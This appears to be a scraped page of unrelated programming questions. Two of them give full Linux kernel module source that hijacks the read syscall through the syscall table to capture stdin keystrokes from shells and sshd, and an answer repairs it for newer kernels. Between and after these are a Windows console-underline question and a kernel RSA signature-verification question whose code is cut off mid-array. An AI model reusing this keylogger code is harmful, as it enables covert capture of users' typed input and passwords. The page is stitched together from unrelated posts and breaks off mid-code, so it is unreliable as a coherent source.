Best practice lkm to hijack inputs, is there lawful method? - c

This is working sample of hijacking user's input via overriding kernel's syscall read.
https://pastebin.com/K9zcSXrQ
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/unistd.h>
#include <linux/time.h>
#include <linux/preempt.h>
#include <linux/delay.h>
#include <linux/cred.h>
#include <linux/sched.h>
#include <linux/device.h>
#include <linux/mutex.h>
#include <linux/types.h>
#include <linux/kfifo.h>
#include <linux/kobject.h>
#include <linux/sysfs.h>
#include <asm/uaccess.h>
#include <asm/paravirt.h>
#include <asm-generic/bug.h>
#include <asm/segment.h>
#include <asm/atomic.h>
#include <asm/ptrace.h>
#define PID_MAX 4194305
#define MODULE_NAME "hacked_read"
#define dbg( format, arg... ) do { if ( debug ) pr_info( MODULE_NAME ": %s: " format , __FUNCTION__ , ## arg ); } while ( 0 )
#define err( format, arg... ) pr_err( MODULE_NAME ": " format, ## arg )
#define info( format, arg... ) pr_info( MODULE_NAME ": " format, ## arg )
#define warn( format, arg... ) pr_warn( MODULE_NAME ": " format, ## arg )
MODULE_DESCRIPTION( MODULE_NAME );
MODULE_VERSION( "0.4" );
MODULE_LICENSE( "GPL" );
MODULE_AUTHOR( "module author <mail#domain.com>" );
static bool debug = false;
static DEFINE_SPINLOCK( mLock );
static unsigned long ( *original_read ) ( const struct pt_regs *regs );
void **sct;
static unsigned long flags; // irq flags
static atomic_t LOCK_NUMBER_ATOM = ATOMIC_INIT(0);
static unsigned long long LOCK_NUMBER_ATOM_VAL;
static bool pids[ PID_MAX ];
static bool FORCE_EXIT = false; // force exit via method.
// ---------- force-exit handler -----
static struct kobject *force_exit_kobject;
static ssize_t foo_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count) {
if ( strstr( buf, "exit" ) ) {
FORCE_EXIT = true;
info( "Force exit method. ");
}
return count;
}
static struct kobj_attribute foo_attribute = __ATTR( foo, S_IRUGO | S_IWUSR, NULL, foo_store );
// -------------- asm inserts -------------
static inline void rw_enable( void ) {
asm volatile ( "pushq %rax \n"
"movq %cr0, %rax \n"
"andq $0xfffffffffffeffff, %rax \n"
"movq %rax, %cr0 \n"
"popq %rax " );
}
static inline uint64_t getcr0(void) {
register uint64_t ret = 0;
asm volatile (
"movq %%cr0, %0\n"
:"=r"(ret)
);
return ret;
}
static inline void rw_disable( register uint64_t val ) {
asm volatile(
"movq %0, %%cr0\n"
:
:"r"(val)
);
}
static void* find_sym( const char *sym ) {
static unsigned long faddr = 0; // static !!!
// ----------- nested functions are a GCC extension ---------
int symb_fn( void* data, const char* sym, struct module* mod, unsigned long addr ) {
if( 0 == strcmp( (char*)data, sym ) ) {
faddr = addr;
return 1;
} else return 0;
};// --------------------------------------------------------
kallsyms_on_each_symbol( symb_fn, (void*)sym );
return (void*)faddr;
}
static unsigned long hacked_read_test( const struct pt_regs *regs ) {
unsigned long r;
unsigned long cp_user_flag;
unsigned long fd;
unsigned long strnlen_user_val;
unsigned long count;
static char tmp_buffer[ 1 ];
atomic_inc( &LOCK_NUMBER_ATOM );
pids[ task_pid_nr( current ) ] = true;
r = original_read( regs );
// injection:
if ( r > 0 ) {
fd = regs->di;
if ( fd == 0 ) { // fd == 0 --> stdin (sh, sshd)
strnlen_user_val = strnlen_user( (char*) regs->si, 1 );
count = regs->dx;
dbg( "strnlen_user_val: %lu\n", strnlen_user_val );
if ( strnlen_user_val > 0 && count > 0 ) {
if ( strnlen_user_val > 1 ) strnlen_user_val = 1;
cp_user_flag = copy_from_user( tmp_buffer, (char*) regs->si, strnlen_user_val );
if ( cp_user_flag == 0 ) {
info( "tmp_buffer: %s\n", tmp_buffer );
}
}
}
}
atomic_dec( &LOCK_NUMBER_ATOM );
pids[ task_pid_nr( current ) ] = false;
return r;
}
int hacked_read_init( void ) {
register uint64_t cr0;
int cpu;
int error = 0;
sct = find_sym( "sys_call_table" );
original_read = (void *)sct[ __NR_read ];
for_each_present_cpu( cpu ) {
spin_lock_irqsave( &mLock, flags );
cr0 = getcr0( );
rw_enable( );
sct[ __NR_read ] = hacked_read_test;
rw_disable( cr0 );
spin_unlock_irqrestore( &mLock, flags );
}
force_exit_kobject = kobject_create_and_add( "hacked_read_force_exit", kernel_kobj );
if( ! force_exit_kobject ) return -ENOMEM;
error = sysfs_create_file( force_exit_kobject, &foo_attribute.attr );
if ( error ) info( "failed to create the foo file in /sys/kernel/hacked_read_force_exit \n" );
info( "Module was loaded\n" );
return 0;
}
void hacked_read_exit( void ) {
register uint64_t cr0;
int cpu;
unsigned int i;
for_each_present_cpu( cpu ) {
spin_lock_irqsave( &mLock, flags );
cr0 = getcr0( );
rw_enable( );
sct[__NR_read] = original_read;
rw_disable( cr0 );
spin_unlock_irqrestore( &mLock, flags );
}
LOCK_NUMBER_ATOM_VAL = atomic_read( &LOCK_NUMBER_ATOM );
while ( LOCK_NUMBER_ATOM_VAL != 0 ) {
info( "Locked. LOCK_NUMBER_ATOM_VAL = %lld\n", LOCK_NUMBER_ATOM_VAL );
for( i = 0; i < PID_MAX; i++ ) if ( pids[ i ] ) info( "Locked. pid = %d\n", i );
msleep( 5000 );
LOCK_NUMBER_ATOM_VAL = atomic_read( &LOCK_NUMBER_ATOM );
if ( FORCE_EXIT ) {
info( "Force exit. Unload module..." );
break;
}
}
kobject_put( force_exit_kobject );
info( "Open. LOCK_NUMBER_ATOM_VAL = %lld\n", LOCK_NUMBER_ATOM_VAL);
info( "Module was unloaded\n" );
}
module_init( hacked_read_init );
module_exit( hacked_read_exit );
Makefile:
CURRENT = $(shell uname -r)
KDIR = /lib/modules/$(CURRENT)/build
PWD = $(shell pwd)
TARGET = hacked_read
obj-m := $(TARGET).o
default:
$(MAKE) -C $(KDIR) M=$(PWD) modules
clean:
#rm -f *.o .*.cmd .*.flags *.mod.c *.order
#rm -f .*.*.cmd *.symvers *~ *.*~ TODO.*
#rm -fR .tmp*
#rm -rf .tmp_versions
I've read a lot stackoverflow on topic, and find such interesting opinion:
Why do you have to implement a syscall? 99% of the time, it's the wrong way to achieve whatever you're trying to do.
it is from here.
And now, I'm looking for the way to do the same hijack without syscall, is there?
May be kind of kernel-debug mechanism, something like kprobes might give me the same result much more safer than current raw override of syscall.
Could somebody give me working sample, please?
In other words, I'm looking for the lawful method, not a hack.

Related

Windows 10 COMMON_LVB_UNDERSCORE only takes effect after I exit the program

I am trying to make microemacs do underlining.
The behaviour is that the underlining does not work whilst the program is running but after the program exits the underlining appears.
Why is this and is there a way to make it work?
Example code to demonstrate this is :
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <conio.h>
#include <process.h>
#include <windows.h>
#define SC_CHAR char
#define BG_GREY (BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE)
HANDLE g_ConsOut; /* Handle to the console */
CONSOLE_SCREEN_BUFFER_INFO csbiInfo; /* Console information */
void flagerr(const char * fmt)
{ printf(fmt, GetLastError());
}
int main(int argc, char * argv[])
{ HANDLE g_ConsIn = GetStdHandle( STD_INPUT_HANDLE );
if (g_ConsIn < 0) /* INVALID_HANDLE_VALUE */
flagerr("Piperr %d\n");
/* SetStdHandle( STD_INPUT_HANDLE, g_ConsIn ); */
if (0 == SetConsoleMode(g_ConsIn, ENABLE_WINDOW_INPUT))
flagerr("PipeC %d\n");
{ HANDLE g_ConsOut = GetStdHandle( STD_OUTPUT_HANDLE );
GetConsoleScreenBufferInfo( g_ConsOut, &csbiInfo );
SetConsoleTextAttribute(g_ConsOut, BG_GREY);
{ int len = csbiInfo.dwSize.X * csbiInfo.dwSize.Y;
COORD Coords;
Coords.Y = 0;
Coords.X = 0;
{//WORD attr = 0x70 | COMMON_LVB_UNDERSCORE; // black on white
WORD attr = BG_GREY | COMMON_LVB_UNDERSCORE; // black on white
WORD cuf[512];
int ix;
for (ix = 512; --ix >= 0; )
cuf[ix] = attr;
{ SC_CHAR * src = "The Rain in Spain";
SC_CHAR * blank = " ";
int sl = strlen(src);
unsigned long n_out;
FillConsoleOutputAttribute( g_ConsOut, BG_GREY, len, Coords, &n_out );
FillConsoleOutputCharacter( g_ConsOut, ' ', len, Coords, &n_out );
Coords.Y = 0;
SetConsoleCursorPosition( g_ConsOut, Coords);
printf("BG_GREY %x US %x A %x\n", BG_GREY, COMMON_LVB_UNDERSCORE, attr);
_getch();
Coords.Y = 1;
WriteConsoleOutputCharacter( g_ConsOut, blank, strlen(blank), Coords, &n_out );
WriteConsoleOutputAttribute( g_ConsOut, cuf, sl, Coords, &n_out );
WriteConsoleOutputCharacter( g_ConsOut, src, sl, Coords, &n_out );
_getch();
return 0;
}}}}}
In Visual Studio 2019
Properties > Advanced > Character Set > Not Set
In the program
After exiting the program
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19041 N/A Build 19041

Memory Isolation in new Linux Kernels, or what?

This my module perfectly hijacks user's console: https://pastebin.com/99YJFnaq
And it was Linux kernel 4.12, Kali 2018.1.
Now, I've installed the latest version of Kali - 2019.1. It uses kernel 4.19:
Linux kali 4.19.0-kali1-amd64 #1 SMP Debian 4.19.13-1kali1
(2019-01-03) x86_64 GNU/Linux
I'm trying to catch anything, but nothing with fd == 0 exists in flow.
I've googled for a long long time, tried to read changelogs on different resources...
I've found such module kpti, which probably would do something like that, but this module is not installed in Kali 2019.1.
Please, help me find the exact reason why hacked_read in this piece of code stopped hearing sys_read():
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/unistd.h>
#include <linux/time.h>
#include <linux/preempt.h>
#include <asm/uaccess.h>
#include <asm/paravirt.h>
#include <asm-generic/bug.h>
#include <asm/segment.h>
#define BUFFER_SIZE 512
#define MODULE_NAME "hacked_read"
#define dbg( format, arg... ) do { if ( debug ) pr_info( MODULE_NAME ": %s: " format , __FUNCTION__ , ## arg ); } while ( 0 )
#define err( format, arg... ) pr_err( MODULE_NAME ": " format, ## arg )
#define info( format, arg... ) pr_info( MODULE_NAME ": " format, ## arg )
#define warn( format, arg... ) pr_warn( MODULE_NAME ": " format, ## arg )
MODULE_DESCRIPTION( MODULE_NAME );
MODULE_VERSION( "0.1" );
MODULE_LICENSE( "GPL" );
MODULE_AUTHOR( "module author <mail#domain.com>" );
static char debug_buffer[ BUFFER_SIZE ];
unsigned long ( *original_read ) ( unsigned int, char *, size_t );
void **sct;
unsigned long icounter = 0;
static inline void rw_enable( void ) {
asm volatile ( "cli \n"
"pushq %rax \n"
"movq %cr0, %rax \n"
"andq $0xfffffffffffeffff, %rax \n"
"movq %rax, %cr0 \n"
"popq %rax " );
}
static inline uint64_t getcr0(void) {
register uint64_t ret = 0;
asm volatile (
"movq %%cr0, %0\n"
:"=r"(ret)
);
return ret;
}
static inline void rw_disable( register uint64_t val ) {
asm volatile(
"movq %0, %%cr0\n"
"sti "
:
:"r"(val)
);
}
static void* find_sym( const char *sym ) {
static unsigned long faddr = 0; // static !!!
// ----------- nested functions are a GCC extension ---------
int symb_fn( void* data, const char* sym, struct module* mod, unsigned long addr ) {
if( 0 == strcmp( (char*)data, sym ) ) {
faddr = addr;
return 1;
} else return 0;
};// --------------------------------------------------------
kallsyms_on_each_symbol( symb_fn, (void*)sym );
return (void*)faddr;
}
unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {
unsigned long r = 1;
if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
return original_read( fd, buf, count );
} else {
icounter++;
if ( icounter % 1000 == 0 ) {
info( "test2 icounter = %ld\n", icounter );
info( "strlen( debug_buffer ) = %ld\n", strlen( debug_buffer ) );
}
r = original_read( fd, buf, count );
strncat( debug_buffer, buf, 1 );
if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
debug_buffer[0] = '\0';
return r;
}
}
int hacked_read_init( void ) {
register uint64_t cr0;
info( "Module was loaded\n" );
sct = find_sym( "sys_call_table" );
original_read = (void *)sct[ __NR_read ];
cr0 = getcr0();
rw_enable();
sct[ __NR_read ] = hacked_read_test;
rw_disable( cr0 );
return 0;
}
void hacked_read_exit( void ) {
register uint64_t cr0;
info( "Module was unloaded\n" );
cr0 = getcr0();
rw_enable();
sct[ __NR_read ] = original_read;
rw_disable( cr0 );
}
module_init( hacked_read_init );
module_exit( hacked_read_exit );
Makefile:
CURRENT = $(shell uname -r)
KDIR = /lib/modules/$(CURRENT)/build
PWD = $(shell pwd)
TARGET = hacked_read
obj-m := $(TARGET).o
default:
$(MAKE) -C $(KDIR) M=$(PWD) modules
clean:
#rm -f *.o .*.cmd .*.flags *.mod.c *.order
#rm -f .*.*.cmd *.symvers *~ *.*~ TODO.*
#rm -fR .tmp*
#rm -rf .tmp_versions
I'm sure that everything like before keeps calling sys_read(). tee, bash, vi - all this stuff could not be changed in such short period, but linux-kernel.
I will appreciate the code with bypassing.
A bit of troubleshooting shows the following:
Of course, none of userspace programs stopped using read(). They still keep calling it.
There is no "memory isolation". The syscalls table is succesfully modified during the module initialization and the pointer to sys_read() is successfully replaced with pointer to hacked_read_test().
When the module is loaded, the read() syscall works as if it was the original one.
The change in the behavior happened between kernels 4.16 and 4.16.2 (i.e. between April 1, 2018 and April 12, 2018).
Considering this, we have pretty narrow list of commits to check, and the changes are likely to be in the syscalls mechanism. Well, looks like this commit is what we are looking for (and few more around).
The crucial part of this commit is that it changes signatures of the functions defined by SYSCALL_DEFINEx so that they accept a pointer to struct pt_regs instead of syscall arguments, i.e. sys_read(unsigned int fd, char __user * buf, size_t count) becomes sys_read(const struct pt_regs *regs). This means, that hacked_read_test(unsigned int fd, char *buf, size_t count) is no longer a valid replacement for sys_read()!
So, with new kernels you replace sys_read(const struct pt_regs *regs) with hacked_read_test(unsigned int fd, char *buf, size_t count). Why this does not crash and instead works as if it was the original sys_read()? Consider the simplified version of hacked_read_test() again:
unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {
if ( fd != 0 ) {
return original_read( fd, buf, count );
} else {
// ...
}
}
Well. The first function argument is passed via %rdi register. The caller of sys_read() places a pointer to struct pt_regs into %rdi and performs a call. The execution flow goes inside hacked_read_test(), and the first argument, fd, is checked for not being zero. Considering that this argument contains a valid pointer instead of file descriptor, this condition succeeds and the control flow goes directly to original_read(), which receives the fd value (i.e., actually, the pointer to struct pt_regs) as a first argument, which, in turn, then gets successfully used as it was originally meant to be. So, since kernel 4.16.2 your hacked_read_test() effectively works as follows:
unsigned long hacked_read_test( const struct pt_regs *regs ) {
return original_read( regs );
}
To make sure about it, you can try the alternative version of hacked_read_test():
unsigned long hacked_read_test( void *ptr ) {
if ( ptr != 0 ) {
info( "invocation of hacked_read_test(): 1st arg is %d (%p)", ptr, ptr );
return original_read( ptr );
} else {
return -EINVAL;
}
}
After compiling and insmoding this version, you get the following:
invocation of hacked_read_test(): 1st arg is 35569496 (00000000c3a0dc9e)
You may create a working version of hacked_read_test(), but it seems that the implementation will be platform-dependent, as you will have to extract the arguments from the appropriate register fields of regs (for x86_84 these are %rdi, %rsi and %rdx for 1st, 2nd and 3rd syscall arguments respectively).
The working x86_64 implementation is below (tested on kernel 4.19).
#include <asm/ptrace.h>
// ...
unsigned long ( *original_read ) ( const struct pt_regs *regs );
// ...
unsigned long hacked_read_test( const struct pt_regs *regs ) {
unsigned int fd = regs->di;
char *buf = (char*) regs->si;
unsigned long r = 1;
if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
return original_read( regs );
} else {
icounter++;
if ( icounter % 1000 == 0 ) {
info( "test2 icounter = %ld\n", icounter );
info( "strlen( debug_buffer ) = %ld\n", strlen( debug_buffer ) );
}
r = original_read( regs );
strncat( debug_buffer, buf, 1 );
if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
debug_buffer[0] = '\0';
return r;
}
}

why public_key_verify_signature() returns error if signature buffer is defined in file scope? (linux kernel crypto)

I'm using linux kernel 4.8.0.26, and writing a simple module verifying digital signature.
If the buffer given to struct public_key_signature as the signature bytes is defined in the file scope - public_key_verify_signature() returns -EINVAL.
If the buffer is defined inside the function - public_key_verify_signature() succeeds.
The code below returns error. to make it work - just move signature_bytes declaration inside rsa_verify():
/*
* rsa-verify.c - simple kernel module using crypto api to verify digital signature.
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <crypto/public_key.h>
MODULE_LICENSE("GPL");
//public key in der format
u8 public_key_bytes[] = { 0x30,0x82,0x01,0x0a,0x02,0x82,0x01,0x01,0x00,0xe4,0xde,0x7c,0x12,0x6d,0xaa,0x6b,0xe9,0xb6,0x17,0x58,0x81,0x4e,0xad,0xfb,0x0e,0x21,0x39,0x4b,0x09,0x57,0xdd,0xa0,0xe1,0xfb,0x53,0x4b,0xc3,0xc3,0x0c,0x33,0xa7,0x37,0xfb,0xa8,0x47,0x26,0x2f,0xea,0x70,0x7c,0xbf,0x91,0x52,0xd8,0x2d,0x3a,0xd7,0xd9,0xba,0xa0,0x87,0x6d,0x8d,0x0c,0x7a,0xfe,0x7b,0x6c,0x7c,0x3d,0x57,0x73,0xb8,0xd1,0x55,0x2c,0x1e,0xc5,0x81,0xad,0x1a,0x59,0x71,0x12,0xa3,0x0b,0xee,0xe2,0x7b,0xf8,0x0c,0x8f,0xbf,0x68,0xbf,0x50,0x11,0x8b,0xa7,0xd7,0x00,0xb6,0xdc,0x65,0x4f,0xe3,0x75,0xdd,0xcc,0xa4,0x55,0x0c,0x70,0x27,0x23,0x9b,0x8d,0x1e,0x7d,0x66,0x33,0x06,0xad,0x62,0x37,0x1b,0xd4,0x68,0x50,0xcf,0x26,0x9d,0x60,0x6e,0xc0,0x3c,0xc7,0x15,0xcb,0x76,0x07,0x8a,0xc4,0xd3,0x84,0xf6,0xad,0x51,0xe0,0x63,0x31,0x55,0x4b,0x4a,0x96,0x4d,0x43,0xb7,0xd6,0x57,0xd6,0x6b,0x66,0x5c,0x60,0x35,0xf9,0x32,0x8d,0xe9,0x49,0x5c,0x3d,0x0f,0x77,0xfb,0x87,0x95,0xc2,0x57,0x8a,0xa2,0x9d,0xbe,0x42,0xc2,0x95,0x74,0x80,0xb1,0x10,0xd4,0x6c,0x37,0xb6,0xc5,0xed,0x73,0x2b,0xdd,0x44,0x87,0xf9,0xed,0x14,0xec,0x58,0x46,0x86,0xa4,0x0d,0x38,0x0f,0xcb,0x61,0xf9,0x39,0xf5,0x06,0xe6,0x20,0x0a,0x02,0xed,0x01,0xc7,0x77,0x9e,0x4e,0xaa,0x45,0xcf,0xc9,0xb2,0xa6,0xd1,0xf0,0x2c,0x6e,0x33,0xbb,0x49,0x18,0x7a,0x0a,0x55,0x06,0x7b,0xd8,0x6f,0x08,0xd6,0xc7,0xfd,0x41,0x2b,0x37,0x77,0x40,0x1e,0x63,0xf8,0x27,0x58,0x23,0x02,0x03,0x01,0x00,0x01 };
//SHA-256 digest for the data "asaf"
u8 digest[] = { 0x6f,0x82,0xd3,0x9a,0x2c,0x53,0xaf,0xa5,0x00,0xd4,0x6e,0x0e,0xfb,0xe1,0xa8,0xd5,0x6c,0xc4,0x69,0x4d,0xde,0x94,0x66,0xde,0xb2,0xb7,0x76,0x30,0xd1,0xf7,0x53,0x57 };
//given signature of data "asaf" using a private key
u8 signature_bytes[] = { 0xb7,0xa8,0x48,0x1c,0x31,0x80,0xab,0xa3,0x16,0x23,0xc8,0xb8,0x2b,0xf6,0x99,0x5b,0x90,0x64,0xe1,0x4f,0xda,0xe4,0xfc,0x4c,0xa4,0xbe,0x58,0x9c,0xec,0xef,0x9c,0x92,0x56,0x05,0x3e,0xa3,0xcc,0x00,0xd3,0x7e,0xa3,0xab,0x09,0xd7,0xc9,0x3f,0x2b,0x28,0x4f,0x14,0x57,0x2a,0x24,0x56,0x07,0x55,0xc1,0xbe,0xf8,0xbe,0x41,0x8d,0xa3,0xa4,0x79,0xdd,0x27,0x3e,0xc6,0x32,0xe1,0x80,0xe3,0x40,0x27,0x48,0x9f,0xe8,0xb6,0x87,0xee,0x4e,0x8a,0x82,0x6c,0x6c,0x32,0x50,0x7a,0x28,0x63,0xbc,0xb2,0xd4,0x59,0x50,0x66,0x07,0xb9,0x93,0x27,0x1b,0x45,0x35,0x00,0x15,0xe2,0x6e,0x7d,0xf8,0xb6,0x75,0x9b,0x3a,0xb8,0xc5,0xe5,0x1d,0xda,0x4c,0xdc,0x01,0xb2,0x69,0x7f,0x87,0x08,0x6e,0x11,0xb7,0xcd,0x1f,0x9f,0xaa,0xb4,0xe4,0x13,0x4e,0x67,0x1f,0x60,0x9c,0x30,0x7d,0xec,0xf1,0xf4,0x0d,0x72,0x62,0x39,0x51,0x82,0x9f,0x5f,0x25,0x1f,0x4a,0xff,0x73,0x88,0xf1,0x8e,0x2d,0x6e,0xec,0xa9,0x2a,0xea,0xca,0x49,0x39,0x6d,0x00,0xeb,0xb8,0x25,0x2b,0x02,0x06,0xcf,0xf3,0xa7,0xe2,0x14,0xcd,0xd6,0x5c,0xfa,0xd0,0x87,0x6b,0x29,0xc5,0xc4,0xe0,0x97,0x76,0x6b,0xd8,0x7c,0x49,0x63,0x2e,0xc9,0x96,0xf6,0xb2,0x3b,0x2d,0x35,0x77,0x3c,0x33,0x09,0x39,0xa6,0xff,0xb2,0x98,0x27,0x61,0x32,0x5b,0x30,0x30,0xd5,0xee,0xa0,0xcb,0x0a,0xb1,0xc7,0x6d,0x7b,0xf5,0x1a,0x12,0x25,0xe1,0xf0,0x78,0x4f,0xd9,0x54,0x32,0xb7,0x3b,0x6f,0xf3,0x33,0x9e,0xa8,0x58,0x7c,0xa3 };
int rsa_verify(void)
{
// u8 signature_bytes[]... if it was here - it would work
struct public_key rsa_pub_key = {
.key = public_key_bytes,
.keylen = (u32)(sizeof(public_key_bytes)),
.pkey_algo = "rsa",
.id_type = "X509"
};
struct public_key_signature sig = {
.s = signature_bytes,
.s_size = (u32)(sizeof(signature_bytes)),
.digest = digest,
.digest_size = (u8)(sizeof(digest)),
.pkey_algo = "rsa",
.hash_algo = "sha256"
};
int error = public_key_verify_signature(&rsa_pub_key, &sig);
if (error) {
pr_info("error verifying. error %d\n", error);
return -1;
}
pr_info("verified successfuly!!!\n");
return 0;
}
int init_module(void)
{
printk(KERN_INFO "Hello rsa-verify\n");
return rsa_verify();
}
void cleanup_module(void)
{
printk(KERN_INFO "Goodbye rsa-verify\n");
}
Makefile:
obj-m += rsa-verify.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules EXTRA_CFLAGS="$(EXTRA_CFLAGS)"
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
(gcc version 6.1.1)
The reason is that when you follow the code, you can see the following calls:
public_key_verify_signature(); // will call:
sg_init_one(&sig_sg, sig->s, sig->s_size); // will call:
sg_set_buf(sg, buf, buflen);
sg_set_buf code is:
#ifdef CONFIG_DEBUG_SG
BUG_ON(!virt_addr_valid(buf));
#endif
sg_set_page(sg, virt_to_page(buf), buflen, offset_in_page(buf));
and virt_to_page won't work, because elf sections are loaded to pages allocated with vmalloc.
haha its working...
linker i mean tinker...(dota 2)
int public_key_verify_signature1(const struct public_key *pkey,
const struct public_key_signature *sig)
{
struct crypto_wait cwait;
struct crypto_akcipher *tfm;
struct akcipher_request *req;
struct scatterlist src_tab[3];
const char *alg_name;
char alg_name_buf[CRYPTO_MAX_ALG_NAME];
void *output;
unsigned int outlen;
int ret;
pr_devel("==>%s()\n", __func__);
BUG_ON(!pkey);
BUG_ON(!sig);
BUG_ON(!sig->s);
if (!sig->digest)
return -ENOPKG;
alg_name = sig->pkey_algo;
if (strcmp(sig->pkey_algo, "rsa") == 0) {
/* The data wangled by the RSA algorithm is typically padded
* and encoded in some manner, such as EMSA-PKCS1-1_5 [RFC3447
* sec 8.2].
*/
if (snprintf(alg_name_buf, CRYPTO_MAX_ALG_NAME,
"pkcs1pad(rsa,%s)", sig->hash_algo
) >= CRYPTO_MAX_ALG_NAME)
return -EINVAL;
alg_name = alg_name_buf;
}
tfm = crypto_alloc_akcipher(alg_name, 0, 0);
if (IS_ERR(tfm))
return PTR_ERR(tfm);
ret = -ENOMEM;
req = akcipher_request_alloc(tfm, GFP_KERNEL);
if (!req)
goto error_free_tfm;
ret = crypto_akcipher_set_pub_key(tfm, pkey->key, pkey->keylen);
if (ret)
goto error_free_req;
ret = -ENOMEM;
outlen = crypto_akcipher_maxsize(tfm);
output = kmalloc(outlen, GFP_KERNEL);
if (!output)
goto error_free_req;
sg_init_table(src_tab, 3);
sg_set_buf(&src_tab[1], sig->digest, sig->digest_size);
sg_set_buf(&src_tab[0], sig->s, sig->s_size);
akcipher_request_set_crypt(req, src_tab, NULL, sig->s_size, sig->digest_size);
crypto_init_wait(&cwait);
akcipher_request_set_callback(req, CRYPTO_TFM_REQ_MAY_BACKLOG |
CRYPTO_TFM_REQ_MAY_SLEEP,
crypto_req_done, &cwait);
ret = crypto_wait_req(crypto_akcipher_verify(req), &cwait);
if (ret)
goto out_free_output;
pr_info("verified successfuly!!!\n");
out_free_output:
kfree(output);
error_free_req:
akcipher_request_free(req);
error_free_tfm:
crypto_free_akcipher(tfm);
pr_devel("<==%s() = %d\n", __func__, ret);
if (WARN_ON_ONCE(ret > 0))
ret = -EINVAL;
return ret;
}
int kk(void *data){
// u8 signature_bytes[]... if it was here - it would work
//public key in der format
unsigned char public_key_bytes[] = { 0x30,0x82,0x01,0x0a,0x02,0x82,0x01,0x01,0x00,0xe4,0xde,0x7c,0x12,0x6d,0xaa,0x6b,0xe9,0xb6,0x17,0x58,0x81,0x4e,0xad,0xfb,0x0e,0x21,0x39,0x4b,0x09,0x57,0xdd,0xa0,0xe1,0xfb,0x53,0x4b,0xc3,0xc3,0x0c,0x33,0xa7,0x37,0xfb,0xa8,0x47,0x26,0x2f,0xea,0x70,0x7c,0xbf,0x91,0x52,0xd8,0x2d,0x3a,0xd7,0xd9,0xba,0xa0,0x87,0x6d,0x8d,0x0c,0x7a,0xfe,0x7b,0x6c,0x7c,0x3d,0x57,0x73,0xb8,0xd1,0x55,0x2c,0x1e,0xc5,0x81,0xad,0x1a,0x59,0x71,0x12,0xa3,0x0b,0xee,0xe2,0x7b,0xf8,0x0c,0x8f,0xbf,0x68,0xbf,0x50,0x11,0x8b,0xa7,0xd7,0x00,0xb6,0xdc,0x65,0x4f,0xe3,0x75,0xdd,0xcc,0xa4,0x55,0x0c,0x70,0x27,0x23,0x9b,0x8d,0x1e,0x7d,0x66,0x33,0x06,0xad,0x62,0x37,0x1b,0xd4,0x68,0x50,0xcf,0x26,0x9d,0x60,0x6e,0xc0,0x3c,0xc7,0x15,0xcb,0x76,0x07,0x8a,0xc4,0xd3,0x84,0xf6,0xad,0x51,0xe0,0x63,0x31,0x55,0x4b,0x4a,0x96,0x4d,0x43,0xb7,0xd6,0x57,0xd6,0x6b,0x66,0x5c,0x60,0x35,0xf9,0x32,0x8d,0xe9,0x49,0x5c,0x3d,0x0f,0x77,0xfb,0x87,0x95,0xc2,0x57,0x8a,0xa2,0x9d,0xbe,0x42,0xc2,0x95,0x74,0x80,0xb1,0x10,0xd4,0x6c,0x37,0xb6,0xc5,0xed,0x73,0x2b,0xdd,0x44,0x87,0xf9,0xed,0x14,0xec,0x58,0x46,0x86,0xa4,0x0d,0x38,0x0f,0xcb,0x61,0xf9,0x39,0xf5,0x06,0xe6,0x20,0x0a,0x02,0xed,0x01,0xc7,0x77,0x9e,0x4e,0xaa,0x45,0xcf,0xc9,0xb2,0xa6,0xd1,0xf0,0x2c,0x6e,0x33,0xbb,0x49,0x18,0x7a,0x0a,0x55,0x06,0x7b,0xd8,0x6f,0x08,0xd6,0xc7,0xfd,0x41,0x2b,0x37,0x77,0x40,0x1e,0x63,0xf8,0x27,0x58,0x23,0x02,0x03,0x01,0x00,0x01 };
//SHA-256 digest for the data "asaf"
unsigned char digest[] = { 0x6f,0x82,0xd3,0x9a,0x2c,0x53,0xaf,0xa5,0x00,0xd4,0x6e,0x0e,0xfb,0xe1,0xa8,0xd5,0x6c,0xc4,0x69,0x4d,0xde,0x94,0x66,0xde,0xb2,0xb7,0x76,0x30,0xd1,0xf7,0x53,0x57 };
//given signature of data "asaf" using a private key
unsigned char signature_bytes[] = { 